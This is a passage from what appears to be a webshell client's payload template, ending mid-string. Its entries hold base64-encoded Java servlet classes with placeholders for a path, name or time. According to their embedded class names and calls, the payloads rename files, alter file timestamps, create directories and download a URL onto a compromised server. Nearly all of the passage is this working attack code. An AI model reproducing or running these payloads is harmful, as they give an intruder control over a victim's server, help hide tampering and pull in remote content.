'yv66vgAAADIAsgoAPABVBwBWCgACAFcKAAIAWAgAWQsAWgBbCABcCABdCABeBwBfCgAKAGAIAGELAGIAYwsAWgBkCwBiAGQHAGUKABAAVQgAZgoAEABnCgAQAGgKADsAaQoAOwBqCABrCABsCgAKAG0KADsAbgoACgBoCABvCgACAHAKAHEAcgcAcwgAdAoAHwBoCAB1CgAkAHYHAHcKACQAeAoAJAB5CAB6CAB7CgAkAHwHAH0KACQAfgoAKgB/CgAkAIAKACQAgQoAEACCCACDCgAqAIQKACoAhQgAhgcAhwoANABVCgA0AIgHAIkKADcAYAoANwCKCACLBwBRBwCMAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFYHAI0HAI4HAHcHAFEHAIwHAF8HAHMBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAfQEAE1JlbmFtZUZpbGVPckRpckNvZGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABhSZW5hbWVGaWxlT3JEaXJDb2RlLmphdmEMAD0APgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACPAJAMAJEAkgEAB2VuY29kZXIHAI0MAJMAlAEAAAEAB2NoYXJzZXQBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAD0AlQEACXRleHQvaHRtbAcAjgwAlgCVDACXAJUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAJgAmQwAmgCbDABPAE0MAEwATQEABHZhcjIBAAMtPnwMAJgAnAwAUQBSAQADfDwtDACdAJ4HAJ8MAKAAlQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAEEAQgEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogwAPQCjAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMAKQAmwEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAClAKYMAD0ApwwAqACpDACqAKsMAJgArAEAASwMAK0ApwwAmgCUAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwArgCvAQAMamF2YS9pby9GaWxlDACwALEBAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAIcmVuYW1lVG8BABEoTGphdmEvaW8vRmlsZTspWgAhADsAPAAAAAAABQABAD0APgABAD8AAAAdAAEAAQAAAAUqtwABsQAAAAEAQAAAAAYAAQAAAAcAAQBBAEIAAQA/AAAB3QAFAAsAAAElK8AAAk0stgADTiy2AAQ6BC0SBbkABgIAxgAOLRIFuQAGAgCnAAUSBzoFLRIIuQAGAgDGAA4tEgi5AAYCAKcABRIJOga7AApZEge3AAs6B7sAClkSB7cACzoIGQQSDLkADQIALRkGuQAOAgAZBBkGuQAPAgAqKrsAEFm3ABEtEhK5AAYCALYAExIHtgATtgAUGQUZBrYAFRkFGQa2ABY6CSoquwAQWbcAES0SF7kABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoKGQcSGLYAGVcZCCoZCRkKtgAatgAZVxkHGQi2ABu2ABlXGQcSHLYAGVcstgAdGQe2ABu2AB6nACI6CRkIuwAQWbcAERIgtgATGQm2ACG2ABO2ABS2ABlXBKwAAQBaAQEBBAAfAAIAQAAAAFYAFQAAAAoABQALAAoADAAQAA0AKgAOAEQADwBPABAAWgASAGMAEwBrABQAdAAVAKAAFgDMABcA1AAYAOIAGQDtABoA9QAbAQEAHgEEABwBBgAdASMAHwBDAAAAQgAG/gAmBwBEBwBFBwBGQQcAR/wAFwcAR0EHAEf/AMEACQcASAcASQcARAcARQcARgcARwcARwcASgcASgABBwBLHgAAAEwATQACAD8AAABEAAQABAAAAB4sEiK2ACOaAAksEiKmAAUrsLsAJFkrtgAlLbcAJrAAAAACAEAAAAAKAAIAAAAiABEAIwBDAAAABAACDwEATgAAAAQAAQAfAAAATwBNAAIAPwAAAWgABgAIAAAA3CwSIrYAI5oACSwSIqYAnysSJ6UADCsSJ7YAI5kABhIHsBIoOgQrtgApTLsAKlkrtgArBWy3ACw6BRIHOgYDNgcVByu2ACuiAF27ABBZtwARGQa2ABMZBCsVB7YALbYALgd4GQQrFQcEYLYALbYALoC2AC8SMLYAE7YAFDoGGQUZBCsVB7YALbYALgd4GQQrFQcEYLYALbYALoC2ADGEBwKn/6AZBRIJtgAysCwSM7YAI5oACSwSM6YAIwE6BLsANFm3ADU6BRkFK7YANjoEuwAkWRkEEgm3ACawK7AAAAACAEAAAABKABIAAAAmAA8AJwAeACgAIQAqACUAKwAqACwAOQAtAD0ALgBJAC8AfQAwAJ0ALgCjADIAqwAzALoANAC9ADUAxgA2AM4ANwDaADkAQwAAACoACA8OAv8AHgAIBwBIBwBHBwBHBwBHBwBHBwBQBwBHAQAA+gBi+AAHDh8ATgAAAAQAAQAfAAAAUQBSAAIAPwAAAD0AAwAFAAAAHbsAN1krtwA4TrsAN1kstwA4OgQtGQS2ADlXEjqwAAAAAQBAAAAADgADAAAAPAATAD0AGgA+AE4AAAAEAAEAHwABAFMAAAACAFQ='
,
'var1'
:
'#{path}'
,
'var2'
:
'#{name}'
},
retime
:
{
_
:
'yv66vgAAADIAwQoAQQBaBwBbCgACAFwKAAIAXQgAXgsAXwBgCABhCABiCABjBwBkCgAKAGUIAGYLAGcAaAsAXwBpCwBnAGkHAGoKABAAWggAawoAEABsCgAQAG0KAEAAbgoAQABvCABwCABxCgAKAHIKAEAAcwoACgBtCAB0CgACAHUKAHYAdwcAeAgAeQoAHwBtCAB6CgAkAHsHAHwKACQAfQoAJAB+CAB/CACACgAkAIEHAIIKACQAgwoAKgCECgAkAIUKACQAhgoAEACHCACICgAqAIkKACoAiggAiwcAjAoANABaCgA0AI0HAI4KADcAZQcAjwgAkAoAOQBlCgA5AJEKAJIAkwoANwCUCACVBwBWBwCWAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFsHAJcHAJgHAHwHAFYHAJYHAGQHAHgBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAggEAF01vZGlmeUZpbGVPckRpclRpbWVDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAcTW9kaWZ5RmlsZU9yRGlyVGltZUNvZGUuamF2YQwAQgBDAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAJkAmgwAmwCcAQAHZW5jb2RlcgcAlwwAnQCeAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAQgCfAQAJdGV4dC9odG1sBwCYDACgAJ8MAKEAnwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAogCjDACkAKUMAFQAUgwAUQBSAQAEdmFyMgEAAy0+fAwAogCmDABWAFcBAAN8PC0MAKcAqAcAqQwAqgCfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwARgBHAQAQamF2YS9sYW5nL1N0cmluZwwAqwCsDABCAK0BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwArgClAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAK8AsAwAQgCxDACyALMMALQAtQwAogC2AQABLAwAtwCxDACkAJ4BAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAC4ALkBAAxqYXZhL2lvL0ZpbGUBABpqYXZhL3RleHQvU2ltcGxlRGF0ZUZvcm1hdAEAE3l5eXktTU0tZGQgSEg6bW06c3MMALoAuwcAvAwAvQC+DAC/AMABAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFcGFyc2UBACQoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvRGF0ZTsBAA5qYXZhL3V0aWwvRGF0ZQEAB2dldFRpbWUBAAMoKUoBAA9zZXRMYXN0TW9kaWZpZWQBAAQoSilaACEAQABBAAAAAAAFAAEAQgBDAAEARAAAAB0AAQABAAAABSq3AAGxAAAAAQBFAAAABgABAAAACAABAEYARwABAEQAAAHdAAUACwAAASUrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQq2ABq2ABlXGQcZCLYAG7YAGVcZBxIctgAZVyy2AB0ZB7YAG7YAHqcAIjoJGQi7ABBZtwAREiC2ABMZCbYAIbYAE7YAFLYAGVcErAABAFoBAQEEAB8AAgBFAAAAVgAVAAAACwAFAAwACgANABAADgAqAA8ARAAQAE8AEQBaABMAYwAUAGsAFQB0ABYAoAAXAMwAGADUABkA4gAaAO0AGwD1ABwBAQAfAQQAHQEGAB4BIwAgAEgAAABCAAb+ACYHAEkHAEoHAEtBBwBM/AAXBwBMQQcATP8AwQAJBwBNBwBOBwBJBwBKBwBLBwBMBwBMBwBPBwBPAAEHAFAeAAAAUQBSAAIARAAAAEQABAAEAAAAHiwSIrYAI5oACSwSIqYABSuwuwAkWSu2ACUttwAmsAAAAAIARQAAAAoAAgAAACMAEQAkAEgAAAAEAAIPAQBTAAAABAABAB8AAABUAFIAAgBEAAABaAAGAAgAAADcLBIitgAjmgAJLBIipgCfKxInpQAMKxIntgAjmQAGEgewEig6BCu2AClMuwAqWSu2ACsFbLcALDoFEgc6BgM2BxUHK7YAK6IAXbsAEFm3ABEZBrYAExkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYALxIwtgATtgAUOgYZBRkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYAMYQHAqf/oBkFEgm2ADKwLBIztgAjmgAJLBIzpgAjAToEuwA0WbcANToFGQUrtgA2OgS7ACRZGQQSCbcAJrArsAAAAAIARQAAAEoAEgAAACcADwAoAB4AKQAhACsAJQAsACoALQA5AC4APQAvAEkAMAB9ADEAnQAvAKMAMwCrADQAugA1AL0ANgDGADcAzgA4ANoAOgBIAAAAKgAIDw4C/wAeAAgHAE0HAEwHAEwHAEwHAEwHAFUHAEwBAAD6AGL4AAcOHwBTAAAABAABAB8AAABWAFcAAgBEAAAAUQADAAYAAAApuwA3WSu3ADhOuwA5WRI6twA7OgQZBCy2ADw6BS0ZBbYAPbYAPlcSP7AAAAABAEUAAAAWAAUAAAA9AAkAPgAUAD8AHABAACYAQQBTAAAABAABAB8AAQBYAAAAAgBZ'
,
'var1'
:
'#{path}'
,
'var2'
:
'#{time}'
},
mkdir
:
{
_
:
'yv66vgAAADIArwoAOwBUBwBVCgACAFYKAAIAVwgAWAsAWQBaCABbCABcCABdBwBeCgAKAF8IAGALAGEAYgsAWQBjCwBhAGMHAGQKABAAVAgAZQoAEABmCgAQAGcKADoAaAoAOgBpCABqCgAKAGsKADoAbAoACgBnCABtCgACAG4KAG8AcAcAcQgAcgoAHgBnCABzCgAjAHQHAHUKACMAdgoAIwB3CAB4CAB5CgAjAHoHAHsKACMAfAoAKQB9CgAjAH4KACMAfwoAEACACACBCgApAIIKACkAgwgAhAcAhQoAMwBUCgAzAIYHAIcKADYAXwoANgCICACJBwBQBwCKAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFUHAIsHAIwHAHUHAFAHAIoHAF4HAHEBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAewEADUNyZWF0ZURpckNvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJDcmVhdGVEaXJDb2RlLmphdmEMADwAPQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACNAI4MAI8AkAEAB2VuY29kZXIHAIsMAJEAUQEAAAEAB2NoYXJzZXQBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMADwAkgEACXRleHQvaHRtbAcAjAwAkwCSDACUAJIBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjEMAJUAlgwAlwCYDABOAEwMAEsATAEAAy0+fAwAlQCZDABQAFEBAAN8PC0MAJoAmwcAnAwAnQCSAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAQABBAQAQamF2YS9sYW5nL1N0cmluZwwAngCfDAA8AKABAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAoQCYAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAKIAowwAPACkDAClAKYMAKcAqAwAlQCpAQABLAwAqgCkDACXAFEBAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDACrAKwBAAxqYXZhL2lvL0ZpbGUMAK0ArgEAATEBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFbWtkaXIBAAMoKVoAIQA6ADsAAAAAAAUAAQA8AD0AAQA+AAAAHQABAAEAAAAFKrcAAbEAAAABAD8AAAAGAAEAAAAHAAEAQABBAAEAPgAAAasABQAKAAAA9yvAAAJNLLYAA04stgAEOgQtEgW5AAYCAMYADi0SBbkABgIApwAFEgc6BS0SCLkABgIAxgAOLRIIuQAGAgCnAAUSCToGuwAKWRIHtwALOge7AApZEge3AAs6CBkEEgy5AA0CAC0ZBrkADgIAGQQZBrkADwIAKiq7ABBZtwARLRISuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgkZBxIXtgAYVxkIKhkJtgAZtgAYVxkHGQi2ABq2ABhXGQcSG7YAGFcstgAcGQe2ABq2AB2nACI6CRkIuwAQWbcAERIftgATGQm2ACC2ABO2ABS2ABhXBKwAAQBaANMA1gAeAAIAPwAAAFIAFAAAAAoABQALAAoADAAQAA0AKgAOAEQADwBPABAAWgASAGMAEwBrABQAdAAVAKAAFgCoABcAtAAYAL8AGQDHABoA0wAdANYAGwDYABwA9QAeAEIAAABCAAb+ACYHAEMHAEQHAEVBBwBG/AAXBwBGQQcARv8AkwAJBwBHBwBIBwBDBwBEBwBFBwBGBwBGBwBJBwBJAAEHAEoeAAAASwBMAAIAPgAAAEQABAAEAAAAHiwSIbYAIpoACSwSIaYABSuwuwAjWSu2ACQttwAlsAAAAAIAPwAAAAoAAgAAACEAEQAiAEIAAAAEAAIPAQBNAAAABAABAB4AAABOAEwAAgA+AAABaAAGAAgAAADcLBIhtgAimgAJLBIhpgCfKxImpQAMKxImtgAimQAGEgewEic6BCu2AChMuwApWSu2ACoFbLcAKzoFEgc6BgM2BxUHK7YAKqIAXbsAEFm3ABEZBrYAExkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYALhIvtgATtgAUOgYZBRkEKxUHtgAstgAtB3gZBCsVBwRgtgAstgAtgLYAMIQHAqf/oBkFEgm2ADGwLBIytgAimgAJLBIypgAjAToEuwAzWbcANDoFGQUrtgA1OgS7ACNZGQQSCbcAJbArsAAAAAIAPwAAAEoAEgAAACUADwAmAB4AJwAhACkAJQAqACoAKwA5ACwAPQAtAEkALgB9AC8AnQAtAKMAMQCrADIAugAzAL0ANADGADUAzgA2ANoAOABCAAAAKgAIDw4C/wAeAAgHAEcHAEYHAEYHAEYHAEYHAE8HAEYBAAD6AGL4AAcOHwBNAAAABAABAB4AAABQAFEAAgA+AAAAMQADAAMAAAARuwA2WSu3ADdNLLYAOFcSObAAAAABAD8AAAAOAAMAAAA7AAkAPAAOAD0ATQAAAAQAAQAeAAEAUgAAAAIAUw=='
,
'var1'
:
'#{path}'
},
wget
:
{
_
:
'yv66vgAAADIA0QoARQBjBwBkCgACAGUKAAIAZggAZwsAaABpCABqCABrCABsBwBtCgAKAG4IAG8LAHAAcQsAaAByCwBwAHIHAHMKABAAYwgAdAoAEAB1CgAQAHYKAEQAdwoARAB4CAB5CAB6CgAKAHsKAEQAfAoACgB2CAB9CgACAH4KAH8AgAcAgQgAggoAHwB2CACDCgAkAIQHAIUKACQAhgoAJACHCACICACJCgAkAIoHAIsKACQAjAoAKgCNCgAkAI4KACQAjwoAEACQCACRCgAqAJIKACoAkwgAlAcAlQoANABjCgA0AJYHAJcKADcAbgcAmAoAOQBuCgA3AJkHAJoKADwAmwoAnACdCgA5AJ4KADkAnwoAnACfCgA8AKAIAKEHAFoHAKIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAZAcAowcApAcAhQcAWgcAogcAbQcAgQEAAkVDAQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCLAQAIV2dldENvZGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAlwcAmAcAmgcApQcApgEAClNvdXJjZUZpbGUBAA1XZ2V0Q29kZS5qYXZhDABGAEcBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwApwCoDACpAKoBAAdlbmNvZGVyBwCjDACrAKwBAAABAAdjaGFyc2V0AQAFVVRGLTgBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABGAK0BAAl0ZXh0L2h0bWwHAKQMAK4ArQwArwCtAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAR2YXIxDACwALEMALIAswwAWABWDABVAFYBAAR2YXIyAQADLT58DACwALQMAFoAWwEAA3w8LQwAtQC2BwC3DAC4AK0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABKAEsBABBqYXZhL2xhbmcvU3RyaW5nDAC5ALoMAEYAuwEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAC8ALMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwAvQC+DABGAL8MAMAAwQwAwgDDDACwAMQBAAEsDADFAL8MALIArAEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAMYAxwEADGphdmEvbmV0L1VSTAEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwAyADJAQAaamF2YS9uZXQvSHR0cFVSTENvbm5lY3Rpb24MAMoAywcApQwAzADNDADFAM4MAM8ARwwA0ABHAQABMQEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2lvL0lucHV0U3RyZWFtAQACW0IBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADm9wZW5Db25uZWN0aW9uAQAaKClMamF2YS9uZXQvVVJMQ29ubmVjdGlvbjsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAEcmVhZAEABShbQilJAQAHKFtCSUkpVgEABWNsb3NlAQAKZGlzY29ubmVjdAAhAEQARQAAAAAABQABAEYARwABAEgAAAAdAAEAAQAAAAUqtwABsQAAAAEASQAAAAYAAQAAAAoAAQBKAEsAAQBIAAAB3QAFAAsAAAElK8AAAk0stgADTiy2AAQ6BC0SBbkABgIAxgAOLRIFuQAGAgCnAAUSBzoFLRIIuQAGAgDGAA4tEgi5AAYCAKcABRIJOga7AApZEge3AAs6B7sAClkSB7cACzoIGQQSDLkADQIALRkGuQAOAgAZBBkGuQAPAgAqKrsAEFm3ABEtEhK5AAYCALYAExIHtgATtgAUGQUZBrYAFRkFGQa2ABY6CSoquwAQWbcAES0SF7kABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoKGQcSGLYAGVcZCCoZCRkKtgAatgAZVxkHGQi2ABu2ABlXGQcSHLYAGVcstgAdGQe2ABu2AB6nACI6CRkIuwAQWbcAERIgtgATGQm2ACG2ABO2ABS2ABlXBKwAAQBaAQEBBAAfAAIASQAAAFYAFQAAAA0ABQAOAAoADwAQABAAKgARAEQAEgBPABMAWgAVAGMAFgBrABcAdAAYAKAAGQDMABoA1AAbAOIAHADtAB0A9QAeAQEAIQEEAB8BBgAgASMAIgBMAAAAQgAG/gAmBwBNBwBOBwBPQQcAUPwAFwcAUEEHAFD/AMEACQcAUQcAUgcATQcATgcATwcAUAcAUAcAUwcAUwABBwBUHgAAAFUAVgACAEgAAABEAAQABAAAAB4sEiK2ACOaAAksEiKmAAUrsLsAJFkrtgAlLbcAJrAAAAACAEkAAAAKAAIAAAAlABEAJgBMAAAABAACDwEAVwAAAAQAAQAfAAAAWABWAAIASAAAAWgABgAIAAAA3CwSIrYAI5oACSwSIqYAnysSJ6UADCsSJ7YAI5kABhIHsBIoOgQrtgApTLsAKlkrtgArBWy3ACw6BRIHOgYDNgcVByu2ACuiAF27ABBZtwARGQa2ABMZBCsVB7YALbYALgd4GQQrFQcEYLYALbYALoC2AC8SMLYAE7YAFDoGGQUZBCsVB7YALbYALgd4GQQrFQcEYLYALbYALoC2ADGEBwKn/6AZBRIJtgAysCwSM7YAI5oACSwSM6YAIwE6BLsANFm3ADU6BRkFK7YANjoEuwAkWRkEEgm3ACawK7AAAAACAEkAAABKABIAAAApAA8AKgAeACsAIQAtACUALgAqAC8AOQAwAD0AMQBJADIAfQAzAJ0AMQCjADUAqwA2ALoANwC9ADgAxgA5AM4AOgDaADwATAAAACoACA8OAv8AHgAIBwBRBwBQBwBQBwBQBwBQBwBZBwBQAQA